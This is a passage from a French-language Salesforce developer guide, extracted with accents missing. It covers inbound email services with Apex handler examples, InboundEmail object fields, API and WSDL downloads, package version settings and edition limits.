7. Si vous le souhaitez, configurez cette adresse du service de messagerie lectronique pour n'accepter des messages que de
certains expditeurs en indiquant leurs adresses e-mail et domaines dans la zone de texte Accepter un e-mail de.
Sparez les entres multiples par des virgules. Par exemple : george@mycompany.com, yahoo.com, gmail.com. Si la zone

Dvelopper

Guide de l'utilisateur | Utilisation de l'objet InboundEmail | 920

de texte Accepter un e-mail de possde une valeur et que le service de messagerie lectronique reoit un message
d'une adresse e-mail ou d'un domaine non indiqu, le service de messagerie lectronique effectue l'action spcifie dans les
paramtres de rponse d'chec Action d'expditeur non autoris.
Laissez ce champ vide si vous souhaitez que le service de messagerie reoive des e-mails de nimporte quelle adresse e-mail.
Remarque:
Si le service de messagerie lectronique et l'adresse du service de messagerie lectronique sont configurs pour
n'accepter des messages que de certains utilisateurs, le service de messagerie lectronique ne traite que les messages
d'utilisateurs indiqus dans les zones de texte Accepter un e-mail de du service de messagerie lectronique
et de l'adresse du service de messagerie lectronique.
8. Cliquez sur Enregistrer pour enregistrer les modifications ou sur Enregistrer et nouveau pour dfinir une autre adresse
e-mail entrant pour ce service de messagerie lectronique.

Voir aussi :
Prsentation du code Apex Force.com
Utilisation de l'objet InboundEmail
Que sont les services de messagerie lectronique ?
Dfinition des services de messagerie lectronique

Utilisation de l'objet InboundEmail

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Pour chaque e-mail reu par le domaine de service de messagerie lectronique ApexSalesforce.com cre un objet InboundEmail
distinct qui comporte le contenu et les pices jointes de cet e-mail. Vous pouvez utiliser des classes Apex qui implmentent
l'interface Messaging.InboundEmailHandler pour grer un message d'e-mail entrant. En utilisant la mthode
handleInboundEmail dans cette classe vous pouvez accder un objet InboundEmail pour rcuprer le contenu, les en-ttes
et les pices jointes des e-mails entrants, et excuter de nombreuses fonctions.
Remarque: Pour plus d'informations sur le service de messagerie lectronique Apex, reportez-vous Quels sont les
services de messagerie lectronique ? la page 913.

Exemple 1 : Crer des tches pour les contacts

L'exemple suivant vous montre comment rechercher un contact l'aide de l'adresse de l'e-mail entrant et crer une nouvelle
tche.
global class CreateTaskEmailExample implements Messaging.InboundEmailHandler {
global Messaging.InboundEmailResult handleInboundEmail(Messaging.inboundEmail email,
Messaging.InboundEnvelope env){
// Cre un objet inboundEmailResult pour renvoyer le rsultat du service de messagerie
lectronique Apex Messaging.InboundEmailResult result = new Messaging.InboundEmailResult
();

Dvelopper

Guide de l'utilisateur | Utilisation de l'objet InboundEmail | 921

String myPlainText= '';

// Ajoute le texte brut de l'e-mail dans la variable locale
myPlainText = email.plainTextBody;
// Objet New Task crer
Task[] newTask = new Task[0];
// Essaie de rechercher tous les contacts en fonction de l'adresse d'expdition // Si
plus d'un contact a la mme adresse e-mail, // une exception est dclenche et l'instruction
catch est appele. try { Contact vCon = [Select Id, Name, Email From Contact o Email =
:email.fromAddress Limit 1];
// Ajoute une nouvelle tche l'enregistrement de contact trouv ci-dessus. newTask.add(new
Task(Description = myPlainText, Priority = 'Normal', Status = 'E-mail entrant', Subject
= email.subject, IsReminderSet = true, ReminderDateTime = System.now()+1, WhoId = vCon.Id));
// Insre la nouvelle tche insrer newTask;
System.debug('Objet New Task : ' + newTask );
} // Si une exception se produit lorsque la requte accde // l'enregistrement de
contact, une QueryException est appele. // L'exception sera crite dans le journal de
dbogage Apex. catch (QueryException e) { System.debug('Problme de demande : ' + e); }
// Dfinit le rsultat sur True. Inutile de renvoyer un e-mail l'utilisateur // avec un
message d'erreur
result.success = True;
// Renvoie le rsultat du service de messagerie lectronique Apex ;
} }

Exemple 2 : Grer Se dsabonner un E-mail

Des entreprises qui envoient des e-mails de marketing leurs clients et leurs clients potentiels doivent fournir aux destinataires
un moyen de dsabonnement. Vous trouverez ci-dessous un exemple de la faon dont un service de messagerie lectronique
peut traiter les demandes de dsabonnement. Le code recherche le mot dsabonnement dans la ligne de l'objet de l'e-mail
entrant. Si le mot est trouv, le code trouve tous les contacts et les pistes qui correspondent l'adresse e-mail De et dfinit le
champ Dsinscription d'adresse e-mail (HasOptedOutOfEmail) comme Vrai.
Global class unsubscribe implements Messaging.inboundEmailHandler{
Global Messaging.InboundEmailResult handleInboundEmail(Messaging.InboundEmail email,
Messaging.InboundEnvelope env ) {
// Crer un objet inboundEmailResult pour renvoyer // le rsultat du service de messagerie
lectronique. Messaging.InboundEmailResult result = new Messaging.InboundEmailResult();
// Crer des listes de contacts et de pistes pour contenir tous les enregistrements mis
jour. List<Contact> lc = new List <contact>(); List<Lead> ll = new List <lead>();
// Convertir la ligne d'objet en minuscules afin que le programme puisse correspondre aux
minuscules. String mySubject = email.subject.toLowerCase(); // La chane de recherche
utilise dans la ligne d'objet. String s = 'dsabonnement';
// Vrifier la variable pour voir si la mot dsabonnement a t trouv dans la ligne
d'objet. Boolean unsubMe; // Recherche le mot dsabonnement dans la ligne d'objet. //
S'il est trouv retourner true ; sinon, retourner false. unsubMe = mySubject.contains(s);

Dvelopper

Guide de l'utilisateur | Utilisation de l'objet InboundEmail | 922

// Si dsabonnement est trouv dans la ligne d'objet, entrer l'instruction IF.

if (unsubMe == true) {
try {
// Rechercher tous les contacts ayant une adresse e-mail correspondante.
for (Contact c : [Select Id, Name, Email, HasOptedOutOfEmail From Contact Where Email =
:env.fromAddress And hasOptedOutOfEmail = false Limit 100]) {
// Ajouter tous les contacts correspondants dans la liste. c.hasOptedOutOfEmail = true;
lc.add(c); } // Update all of the contact records. update lc; } catch (System.QueryException
e) { System.debug('Contact Query Issue: ' + e); }
try { // Rechercher toutes les pistes correspondant l'adresse e-mail (Lead l : [Select
Id, Name, Email, HasOptedOutOfEmail From Lead Where Email = :env.fromAddress And isConverted
= false And hasOptedOutOfEmail = false Limit 100]) { // Ajouter toutes les pistes la
liste. l.hasOptedOutOfEmail = true; ll.add(l);
System.debug('Lead Object: ' + l); } // Ajouter tous les enregistrements dans
la requte. update ll; }
catch (System.QueryException e) { System.debug('Lead Query Issue: ' + e); }
System.debug('Trouv le mot dsabonnement dans la ligne d'objet.'); } else {
System.debug('Pas trouv le mot dsabonnement dans la ligne d'objet.' ); } // Retourner
Vrai et quitter // Vrai confirme que le programme est termin et qu'aucun e-mail // ne doit
tre envoy l'expditeur de la demande de dsabonnement. result.success = true; return
result; }
// Les mthodes de test suivantes fournissent une couverture de code approprie. // Il y
a deux mthodes, l'une qui procde au test // avec un dsabonnement valide dans la ligne
d'objet // et l'autre qui ne contient pas dsabonnement dans la // ligne d'objet.
static testMethod void testUnsubscribe() {
// Crer un nouvel e-mail et un objet enveloppe. Messaging.InboundEmail email = new
Messaging.InboundEmail() ; Messaging.InboundEnvelope env = new Messaging.InboundEnvelope();
// Crer une nouvelle piste de test et l'insrer dans la mthode de test. Lead l = new
lead(firstName='John', lastName='Smith', Company='Salesforce', Email='user@acme.com',
HasOptedOutOfEmail=false); insert l;
// Crer un nouveau contact de test et l'insrer dans la mthode de test. Contact c = new
Contact(firstName='john', lastName='smith', Email='user@acme.com', HasOptedOutOfEmail=false);
insert c;
// Procder au test avec l'objet qui correspond l'instruction de dsabonnement.
email.subject = 'test unsubscribe test'; env.fromAddress = 'user@acme.com';
// Appeler la classe et la tester avec les donnes de testMethod. unsubscribe
unsubscribeObj = new unsubscribe(); unsubscribeObj.handleInboundEmail(email, env );
}
static testMethod void testUnsubscribe2() {
// Crer un nouvel e-mail et un objet enveloppe. Messaging.InboundEmail email = new
Messaging.InboundEmail(); Messaging.InboundEnvelope env = new Messaging.InboundEnvelope();
// Crer une nouvelle piste de test et l'insrer dans la mthode de test. Lead l = new
lead(firstName='john', lastName='smith', Company='Salesforce', Email='user@acme.com',
HasOptedOutOfEmail=false); insert l;
// Crer un nouveau contact de test et l'insrer dans la mthode de test. Contact c = new

Dvelopper

Guide de l'utilisateur | Utilisation de l'objet InboundEmail | 923

Contact(firstName='john', lastName='smith', Email='user@acme.com', HasOptedOutOfEmail=false);

insert c;
// Procder au test avec un objet qui ne contient pas dsabonnement . email.subject
= 'test'; env.fromAddress = 'user@acme.com';
// Appeler la classe et la tester avec les donnes de la mthode de test. unsubscribe
unsubscribeObj = new unsubscribe(); unsubscribeObj.handleInboundEmail(email, env ); }
}

Objet InboundEmail
Un objet InboundEmail comporte les champs suivants.
Nom

Type

Description

binaryAttachments

InboundEmail.BinaryAttachment[] Liste de pices jointes reues avec l'e-mail, le cas

chant
Parmi les pices jointes binaires, on trouve des fichiers
image, audio, vido et des fichiers d'application.

ccAddresses

Chane[]

Liste d'adresses en copie carbone (Cc), le cas chant

fromAddress

Chane

Adresse e-mail qui apparat dans le champ De

fromName

Chane

Nom qui apparat dans le champ De, le cas chant

headers

InboundEmail.Header[]

Liste des en-ttes RFC 2822 de l'e-mail, notamment :

Reu de
En-ttes personnaliss
ID du message
Date

htmlBody

Chane

Version HTML de l'e-mail, si elle est spcifie par

l'expditeur

htmlBodyIsTruncated

Boolen

Indique si le corps de texte HTML est tronqu (vrai)

ou non (faux).

inReplyTo

Chane

Champ En rponse de l'e-mail entrant. Identifie le

ou le e-mails auxquels ce message rpond (e-mails
parent). Contient l'e-mail parent ou l'ID de message.

messageId

Chane

ID de message : identifiant unique de l'e-mail etrant

plainTextBody

Chane

Version en texte brut de l'e-mail, si elle est spcifie

par l'expditeur

plainTextBodyIsTruncated Boolen
references

Chane[]

Indique si le corps de texte brut est tronqu (vrai) ou

non (faux).
Champ Rfrences de l'e-mail entrant. Identifie un
thread e-mail. Contient une liste des rfrences et des
ID de message des e-mails parents, et ventuellement
les champs En rponse .

Dvelopper

Guide de l'utilisateur | Utilisation de l'objet InboundEmail | 924

Nom

Type

Description

replyTo

Chane

Adresse e-mail qui apparat dans l'en-tte de rponse

S'il n'y a pas d'en-tte de rponse, ce champ est
identique au champ fromAddress.

subject

Chane

Ligne d'objet de l'e-mail, le cas chant

textAttachments

InboundEmail.TextAttachment[]

Liste de pices jointes au texte reues avec l'e-mail, le

cas chant
Les pices jointes peuvent tre les suivantes :

Chane[]

toAddresses

Pices jointes avec un type MIME (Multipurpose

Internet Mail Extension) text
Pices jointes avec un type MIME
application/octet-stream et un nom de
fichier qui se termine par une extension .vcf ou
.vcs. Elles sont enregistres comme types MIME
text/x-vcard et text/calendar,
respectivement.

Adresse e-mail qui apparat dans le champ

Objet InboundEmail.Header
Un objet InboundEmail stocke les informations d'en-tte d'e-mail RFC 2822 dans un objet Inbound.HeaderObject avec les
champs suivants.
Nom

Type

Description

name

Chane

Nom du paramtre de l'en-tte, comme Date ou ID du message

value

Chane

Valeur de l'en-tte

Objet InboundEmail.BinaryAttachment
Un objet InboundEmail stocke les pices jointes binaires dans un objet InboundEmail.BinaryAttachment.
Parmi les pices jointes binaires, on trouve des fichiers image, audio, vido et des fichiers d'application.
Un objet InboundEmail.BinaryAttachment possde les champs suivants.
Nom

Type

Description

body

Blob

Corps de la pice jointe

fileName

Chane

Nom du fichier joint

mimeTypeSubType

Chane

Type MIME principal et secondaire

Objet InboundEmail.TextAttachment
Un objet InboundEmail stocke le texte joint dans un objet InboundEmail.TextAttachment.
Les pices jointes peuvent tre les suivantes :

Dvelopper

Guide de l'utilisateur | Utilisation de l'objet InboundEmail | 925

Pices jointes avec un type MIME (Multipurpose Internet Mail Extension) text
Pices jointes avec un type MIME application/octet-stream et un nom de fichier qui finit par une extension.vcf
ou .vcs. Elles sont enregistres comme types MIME text/x-vcard et text/calendar, respectivement.

Un objet InboundEmail.TextAttachment possde les champs suivants.

Nom

Type

Description

body

Chane

Corps de la pice jointe

bodyIsTruncated

Boolen

Indique si le corps de texte de la pice jointe est tronqu (vrai) ou non

(faux).

charset

Chane

Jeu de caractres d'origine du champ Corps. Le corps est re-cod au

format UTF-8, en tant qu'entre de la mthode Apex

fileName

Chane

Nom du fichier joint

mimeTypeSubType

Chane

Type MIME principal et secondaire

Objet InboundEmailResult
L'objet InboundEmailResult sert renvoyer le rsultat du service de messagerie lectronique. Si l'objet est nul, le rsultat est
suppos russi. Un objet InboundEmailResult comporte les champs suivants.
Nom

Type

Description

success

Boolen

Valeur qui indique si l'e-mail a t correctement trait.

S'il est faux, Salesforce.com rejette l'e-mail entrant et envoie un e-mail de
rponse l'expditeur d'origine, avec le message spcifi dans le champ
Message.

message

Chane

Message que Salesforce.com renvoie dans le corps d'une rponse par e-mail.
Ce champ peut tre renseign par un texte, quelle que soit la valeur renvoye
par le champ Succs.

Objet InboundEnvelope
L'objet InboundEnvelope stocke l'information d'enveloppe associe l'e-mail entrant et possde les champs suivants.
Nom

Type

Description

toAddress

Chane

Nom qui apparat dans le champ de l'enveloppe, le cas chant

fromAddress

Chane

Nom qui apparat dans le champ de l'enveloppe, le cas chant

Voir aussi :
Prsentation du code Apex Force.com
Que sont les services de messagerie lectronique ?

Dvelopper

Guide de l'utilisateur | Gestion des exceptions Apex dans les packages grs | 926

Gestion des exceptions Apex dans les packages grs

Disponible dans : Unlimited Edition, Developer Edition et Enterprise Edition

Autorisations utilisateur requises

Pour crer des packages :

Crer des packages Force.com AppExchange

Pour tlcharger des packages :

Tlcharger des packages Force.com AppExchange

Pour crer des classes Apex :

Auteur Apex

Lorsque vous crez un package gr pour Force.com AppExchange, vous pouvez spcifier un utilisateur qui recevra une
notification d'e-mail lorsqu'une exception se produit et qui n'est pas gre par un script Apex. Les exceptions non gres
peuvent tre lances depuis :

Une action Visualforce ou une mthode d'obtention

Une mthode de service Web
Un dclencheur

L'e-mail envoy a le format suivant :

-------------------------------------------------------------------------------Objet : Exception de script de dveloppeur de CLASSNAME Exception de dclencheur non
gre pour le script Apex par l'utilisateur/l'entreprise USER_ID/ORG_ID EXCEPTION_STRING
STACK_TRACE

-------------------------------------------------------------------------------Par exemple :
-------------------------------------------------------------------------------De : Application Apex ? <info@salesforce.com> : joeuser@salesforce.com
<joeuser@salesforce.com> Objet : Exception de script de dveloppeur de Gack WS ?
Date : Lun, 26 Nov 2007 14:42:41 +0000 (GMT) (06:42 PST) Exception de dclencheur
non gre pour le script Apex par l'utilisateur/l'entreprise : Exception de test
010x0000000rfPg/00Fx00000009ejj TestException ? : Exception Gack WS Class.Gack
WS?.gackTestException : ligne 4, colonne 11
-------------------------------------------------------------------------------Le nombre d'email gnrs pour la mme erreur est limit 10 messages avec le mme sujet dans un dlai de 60 secondes.

Voir aussi :
Prsentation du code Apex Force.com
Prparation de vos applications pour la distribution

Dvelopper

Guide de l'utilisateur | Prsentation de l'API | 927

Prsentation de l'API
Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour utiliser l'API :

API active

Salesforce.com offre un accs en programmation aux informations relatives votre organisation, l'aide d'une interface de
programmation d'application simple, puissante et scurise, l'API des services Web Force.com (appele l'API).
Utilisation de l'API
Vous pouvez utiliser l'API base sur SOAP pour crer, rcuprer, mettre jour ou supprimer des enregistrements, notamment
des comptes, des pistes et des objets personnaliss. Avec plus de 20 appels diffrents, l'API permet galement de conserver
des mots de passe, d'effectuer des recherches et davantage. Utilisez l'API dans une langue prise en charge par les services Web.
Par exemple, vous pouvez utiliser l'API pour intgrer Salesforce.com aux systmes ERP et financier de votre organisation,
publier en temps rel des informations commerciales et de support dans les portails de la socit et renseigner les systmes
mtiers critiques avec des informations relatives aux clients.
Utilisation de l'API en masse
L'API en masse base sur REST est optimise pour le chargement d'ensembles de donnes importants. Elle permet d'insrer,
de mettre jour ou de mettre jour/insrer (upsert) un grand nombre d'enregistrements de faon asynchrone, en soumettant
plusieurs lots qui sont traits en arrire-plan par Salesforce.com.
l'oppos, l'API base sur SOAP est optimise pour les applications clientes en temps rel qui mettent jour de petites
quantits d'enregistrements la fois. Si l'API base sur SOAP peut galement tre utilise pour charger de grandes quantits
d'enregistrements, elle est toutefois moins efficace lorsque les ensembles de donnes contiennent des centaines de milliers
d'enregistrements. L'API en masse est conue pour simplifier le chargement de milliers ou de millions d'enregistrements.
Pour utiliser l'API en masse, le plus simple est de l'activer pour le chargement des enregistrements dans Data Loader l'aide
de fichiers CVS. Vous vitez ainsi d'avoir crire votre propre application cliente.
Utilisation de l'API mtadonnes
L'API mtadonnes permet de rcuprer, dployer, crer, mettre jour ou supprimer les informations relatives la
personnalisation, telles que les dfinitions et les prsentations de page d'objets personnaliss, pour votre organisation. L'utilisation
la plus courante consiste migrer les modifications depuis une organisation de test ou Sandox vers votre organisation de
production. L'API mtadonnes est conue pour la gestion des personnalisations et la cration d'outils capables de grer le
modle des mtadonnes, pas les donnes elles-mme. Si vous souhaitez crer, rcuprer, mettre jour ou supprimer des
enregistrements, tels que des comptes ou des pistes, utilisez l'API pour grer vos donnes.
Pour accder la fonctionnalit API mtadonnes, le plus simple est d'utiliser Force.com IDE ou l'Outil de migration
Force.com. Ces outils reposent sur l'API mtadonnes et utilisent respectivement les outils standard Eclipse et Ant pour
simplifier les tches avec l'API mtadonnes. Construit sur la plate-forme Eclipse, le programme Force.com IDE offre un
environnement convivial aux programmeurs familiers des environnements de dveloppement intgrs, et permet de coder, de
compiler, de tester et de dployer depuis le programme IDE lui-mme. L'Outil de migration Force.com est idal pour dplacer

Dvelopper Guide de l'utilisateur | Tlchargement des documents WSDL et des certificats d'authentification client Salesforce.com | 928

les donnes depuis un rpertoire local vers une organisation Salesforce.com l'aide d'un utilitaire de script ou de ligne de
commande.

Voir aussi :
Tlchargement des documents WSDL et des certificats d'authentification client Salesforce.com

Tlchargement des documents WSDL et des certificats

d'authentification client Salesforce.com
Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour tlcharger un fichier WSDL :

Personnaliser l'application

Vous pouvez tlcharger un document WSDL (Web Services Description Language) pour intgrer et tendre Salesforce.com
l'aide de l'API Force.com. Avec un document WSDL Salesforce.com, vous pouvez aisment intgrer Salesforce.com vos
applications ou concevoir de nouvelles applications fonctionnant avec Salesforce.com.
Voici les options WSDL disponibles :

Enterprise WSDL : ce document WSDL est destin aux clients qui souhaitent concevoir une intgration avec leur entreprise
Salesforce.com uniquement. Il est fortement typ, ce qui signifie qu'il contient des objets et des champs avec des types de
donnes spcifiques tels que int et string. Les clients qui utilisent le document WSDL Entreprise doivent le tlcharger
et le consommer de nouveau lorsque leur organisation modifie ses objets ou champs personnaliss, ou pour utiliser une
autre version de l'API.
Partner WSDL : ce document WSDL est destin aux clients, aux partenaires et aux fournisseurs indpendants de logiciels
souhaitant concevoir une intgration susceptible de fonctionner dans plusieurs entreprises Salesforce.com, quels que soient
leurs champs ou objets personnaliss. Il est faiblement typ, ce qui signifie que vous utilisez des paires nom-valeur de noms
de champ et de valeurs au lieu de types de donnes spcifiques. Le document WSDL partenaire ne doit tre tlcharg et
consomm qu'une seule fois par version de l'API.
Apex WSDL : ce document WSDL est destin aux utilisateurs qui souhaitent excuter ou compiler Apex dans un autre
environnement. Pour plus d'informations, reportez-vous au manuel Force.com Apex Code Developer's Guide.
WDSL Mtadonnes : ce document WSDL est destin aux utilisateurs qui souhaitent utiliser les appels de mtadonnes
d'API Force.com pour les migrer les modifications de configuration entre les organisations ou utiliser les personnalisations
de votre organisation en tant que fichiers de mtadonnes XML. Pour plus d'informations, reportez-vous au manuel
Force.com Metadata API Developer's Guide.

Pour tlcharger un document WSDL :

1. Cliquez sur Configuration Dvelopper API.
2. Tlcharger le document WDSL appropri :

Si vous tlchargez un document WSDL Entreprise et que vous avez des packages grs installs dans votre organisation,
cliquez sur Gnrer WDSL Entreprise. Salesforce.com vous invite slectionner la version de chaque package install
inclure dans le WDSL gnr.

Dvelopper Guide de l'utilisateur | Tlchargement des documents WSDL et des certificats d'authentification client Salesforce.com | 929

Sinon, cliquez avec le bouton droit sur le lien du document WSDL adquat pour l'enregistrer dans un rpertoire local.
Dans le menu contextuel, les utilisateurs d'Internet Explorer peuvent slectionner Enregistrer la cible sous et les
utilisateurs de Mozilla Firefox Enregistrer le lien sous.

3. Sur votre ordinateur, importez la copie locale du document WSDL dans votre environnement de dveloppement.
Remarque: Vous pouvez galement slectionner les versions de package par dfaut sans tlcharger de document
WSDL dans la section Paramtres de version du package.
Vous pouvez galement tlcharger un certificat pour authentifier les clients Salesforce.com. Cliquez sur Configuration
Dvelopper API, et la page Tlchargement WSDL, cliquez avec le bouton droit de la souris sur Tlcharger le certificat
client et enregistrez-le un emplacement appropri. Vous pouvez ensuite importer le certificat tlcharg dans le serveur
d'applications et le configurer pour demander le certificat client.

Voir aussi :
Prsentation de l'API
Dfinition des commandes Custom S-Control
Limites concernant l'utilisation de l'API Force.com
propos des packages grs
Configuration des versions de package par dfaut pour les appels API
Ressources de documentation pour les dveloppeurs Force.com

Gnration d'un WSDL Entreprise avec des packages grs

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour tlcharger un WSDL :

Personnaliser l'application

Si vous tlchargez un WSDL entreprise et que vous avez des packages grs installs dans votre organisation, vous devez
effectuer une tape supplmentaire pour slectionner la version de chaque package install inclure dans le WSDL gnr.Le
WSDL Entreprise est fortement typ, ce qui signifie qu'il contient des objets et des champs avec des types de donnes spcifiques
tels que int et string.
Une version de package est un ensemble de composants tlchargs dans un package. Elle est indique par un numro de
version qui se prsente sous le format numroPrincipal.numroSecondaire.numroCorrectif tel que 2.1.3. Notez
que le numroCorrectif est gnr uniquement si vous crez un correctif. En l'absence de correctif, le numroCorrectif
indique un zro (0). Les versions de correctifs sont disponibles via un programme pilote. Pour plus d'informations sur l'activation
de versions de correctifs pour votre organisation, contactez salesforce.com. Les versions de package permettent aux diteurs
d'adapter les composants de leurs packages grs en publiant gracieusement des versions ultrieures sans gner les intgrations
clientes existantes en utilisant le package. Un abonn peut slectionner une version pour chaque package gr install afin de
permettre son client API de continuer fonctionner avec un comportement spcifique connu, mme lorsqu'il installe des
versions ultrieures d'un package. Chaque version de package peut varier dans la composition de ses objets et de ses champs.
Vous devez donc slectionner une version spcifique lorsque vous gnrez le WSDL fortement typ.

Dvelopper Guide de l'utilisateur | Tlchargement des documents WSDL et des certificats d'authentification client Salesforce.com | 930

Pour tlcharger un WSDL entreprise lorsque vous avez des packages grs installs :
1. Cliquez sur Configuration Dvelopper API.
2. Cliquez sur Gnrer WDSL Entreprise.
3. Slectionnez la Version de package de chaque package gr install. Si vous ne savez pas quelle version de package
slectionner, conservez la slection par dfaut qui correspond la dernire version.
4. Cliquez sur Gnrer.
5. Utilisez le menu Fichier de votre navigateur pour enregistrer le WSDL sur votre ordinateur.
6. Sur votre ordinateur, importez la copie locale du document WSDL dans votre environnement de dveloppement.
Notes les points suivants dans votre WDSL Entreprise gnr :

Chaque slection d'une version de package gr est incluse dans un commentaire en haut du WSDL.
Le WSDL gnr contient les objets et les champs de votre organisation, qui comprennent ceux disponibles dans les
versions slectionnes de chaque package install. Si un champ ou un objet est ajout une version ultrieure de package,
vous devez gnrer le WSDL entreprise avec cette version du package pour qu'il fonctionne avec le champ ou l'objet de
votre intgration d'API.
Le point limite SOAP la fin du WSDL contient une URL au format
serverName/services/Soap/c/api_version/ID o api_version correspond la version de l'API, par exemple
17,0, et ID encode vos slections de version de package lors de la communication avec Salesforce.com.

Vous pouvez galement slectionner les versions de package par dfaut pour le WSDL entreprise sans tlcharger de WSDL
dans la section Paramtres de version du package dans Configuration Dvelopper API. Les versions de package par
dfaut pour les appels API fournissent des paramtres alternatifs si les versions de package ne sont pas fournies par un appel
API. Comme de nombreux clients API n'incluent aucune information sur la version de package, les paramtres par dfaut
grent le comportement existant de ces clients.

Voir aussi :
Prsentation de l'API
Tlchargement des documents WSDL et des certificats d'authentification client Salesforce.com
Configuration des versions de package par dfaut pour les appels API
propos des packages grs
Prsentation d'une version de package
Ressources de documentation pour les dveloppeurs Force.com

Dvelopper

Guide de l'utilisateur | Configuration des versions de package par dfaut pour les appels API | 931

Configuration des versions de package par dfaut pour

les appels API
Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour configurer les versions de package par dfaut pour les
appels API :

Personnaliser l'application

Une version de package est un ensemble de composants tlchargs dans un package. Elle est indique par un numro de
version qui se prsente sous le format numroPrincipal.numroSecondaire.numroCorrectif tel que 2.1.3. Notez
que le numroCorrectif est gnr uniquement si vous crez un correctif. En l'absence de correctif, le numroCorrectif
indique un zro (0). Les versions de correctifs sont disponibles via un programme pilote. Pour plus d'informations sur l'activation
de versions de correctifs pour votre organisation, contactez salesforce.com. Les versions de package permettent aux diteurs
d'adapter les composants de leurs packages grs en publiant gracieusement des versions ultrieures sans gner les intgrations
clientes existantes en utilisant le package.
Les versions de package par dfaut pour les appels API fournissent des paramtres alternatifs si les versions de package ne sont
pas fournies par un appel API. Comme de nombreux clients API n'incluent aucune information sur la version de package, les
paramtres par dfaut grent le comportement existant de ces clients.
Vous pouvez spcifier les versions de package par dfaut pour les appels API entreprise les appels API partenaires. Enterprise
WSDL est destin aux utilisateurs qui souhaitent dvelopper une intgration uniquement avec leur organisation Salesforce.com.
Il est fortement typ, ce qui signifie que les appels fonctionnent sur des objets et des champs avec des types de donnes
spcifiques tels que int et string. Partner WSDL est destin aux clients, aux partenaires et aux fournisseurs de logiciels
indpendants qui souhaitent concevoir une intgration fonctionnant dans plusieurs organisations Salesforce.com, quels que
soient leurs champs ou objets personnaliss. Il est faiblement typ, ce qui signifie que les appels fonctionnent sur des paires
nom-valeur de noms de champ et de valeurs la place de types de donnes spcifiques.
Vous pouvez associer enterprise WSDL avec des versions de package spcifiques pour grer le comportement existant des
clients. Il existe des options de dfinition des liaisons de versions de package pour un appel API d'applications clientes en
utilisant enterprise WSDL ou partner WSDL. Les informations de version de package des appels API mis par une application
cliente base sur enterprise WSDL, sont dtermines par la premire correspondance dans les paramtres suivants.
1. L'en-tte SOAP PackageVersionHeader.
2. Le point limite SOAP contient une URL au format serverName/services/Soap/c/api_version/ID o
api_version correspond la version API, par exemple 17.0, et ID encode vos slections de version de package lors de
la gnration de enterprise WSDL.
3. Les paramtres de version de package enterprise par dfaut.
Partner WSDL est plus flexible car il est utilis pour l'intgration plusieurs organisations. Lors de la configuration des versions
de package partenaire par dfaut, si vous choisissez l'option Non spcifi pour une version de package, le comportement est
dfini par la dernire version de package installe. Cela signifie que le comportement des composants de packages, tels qu'un
dclencheur Apex, peut changer lors de la mise niveau d'un package et que cette modification affecte immdiatement
l'intgration. Les abonns peuvent slectionner une version spcifique d'un package install pour tous les appels API partenaires

Dvelopper

Guide de l'utilisateur | ditions Salesforce.com et limitations | 932

depuis les applications clientes, afin de s'assurer que les installations ultrieures de versions de package n'affectent pas leurs
intgrations existantes.
Les informations de version de package pour les appels API partenaires sont dtermines par la premire correspondance dans
les paramtres suivants.
1. L'en-tte SOAP PackageVersionHeader.
2. Un appel API depuis une page Visualforce utilise les versions de package dfinies pour la page Visualforce.
3. Les paramtres de version de package partenaire par dfaut.
Pour configurer les versions de package par dfaut pour les appels API :
1. Cliquez sur Configuration Dvelopper API.
2. Cliquez sur Configurer les paramtres de version du package Entreprise ou Configurer les paramtres de version du
package Partenaire. Ces liens sont disponibles uniquement si vous avez install au mois un package gr dans votre
organisation.
3. Slectionnez une Version de package pour chaque package gr install. Si vous ne savez pas quelle version de package
slectionner, conservez la slection par dfaut.
4. Cliquez sur Enregistrer.
Remarque: L'installation d'une nouvelle version d'un package dans votre organisation n'affecte pas les paramtres par
dfaut existants.

Voir aussi :
Tlchargement des documents WSDL et des certificats d'authentification client Salesforce.com
propos des packages grs
Prsentation d'une version de package
Ressources de documentation pour les dveloppeurs Force.com

ditions Salesforce.com et limitations

Reportez-vous au tableau ci-dessous pour dterminer les fonctionnalits et le nombre maximal d'lments pris en charge dans
chaque dition de Salesforce.com. Les sections suivantes fournissent des informations plus dtailles propos de leurs domaines
respectifs :

Dtails sur les limites des champs personnaliss la page 936

Dtails sur les limites de rgles la page 937
Fonctionnalit

Personal
Edition

Responsable Group
de contact Edition

Professional Enterprise
Edition
Edition

Unlimited
Edition

Developer
Edition

Sous-applications
personnalises

Non
disponible

Illimit

10

(les sous-applications
personnalises contenues
dans un package gr, dans
un statut d'valuation, ou

10

Dvelopper

Fonctionnalit

Guide de l'utilisateur | ditions Salesforce.com et limitations | 933

Personal
Edition

Responsable Group
de contact Edition

Professional Enterprise
Edition
Edition

Unlimited
Edition

Developer
Edition

Non
disponible

50

50

200

2,000

400

Non
disponible

Non
disponible

Non
disponible

10

30

100

10

Non
disponible

10

25

Illimit

100

5 par objet

25 par objet 100 par

objet

100 par
objet

500 par
objet

500 par
objet

500 par
objet

le package gr d'une
application native,
indpendamment du
statut, ne sont pas
comptabiliss dans les
limitations prises en charge
par votre dition
Salesforce.com.)
Objets personnaliss
(les objets personnaliss
contenus dans un package
gr, dans un statut
d'valuation, ou le package
gr d'une application
native, indpendamment
du statut, ne sont pas
comptabiliss dans les
limitations prises en charge
par votre dition
Salesforce.com.)
Types de rapport
personnalis
(Les limites s'appliquent
tous les types de rapport
personnaliss, quel que soit
leur statut de
dveloppement).
Onglets
(les onglets personnaliss
contenus dans un package
gr, dans un statut
d'valuation, ou le package
gr d'une application
native, indpendamment
du statut, ne sont pas
comptabiliss dans les
limitations prises en charge
par votre dition
Salesforce.com.)
Champs personnaliss

Dvelopper

Fonctionnalit

Guide de l'utilisateur | ditions Salesforce.com et limitations | 934

Personal
Edition

Responsable Group
de contact Edition

Professional Enterprise
Edition
Edition

Unlimited
Edition

Developer
Edition

Filtres de recherche actifs 5 par objet

5 par objet

5 par objet

5 par objet

5 par objet

5 par objet

tiquettes personnalises Non

disponible

Non
disponible

Non
disponible

5,000

5,000

5,000

Rgles actives

Non
disponible

Non
disponible

Non
disponible

50 par objet 50 par objet 50 par objet 50 par objet

Formules : Nombre
maximal de caractres

3 900
caractres

3 900
caractres

3 900
caractres

3 900
caractres

Formules : Taille de
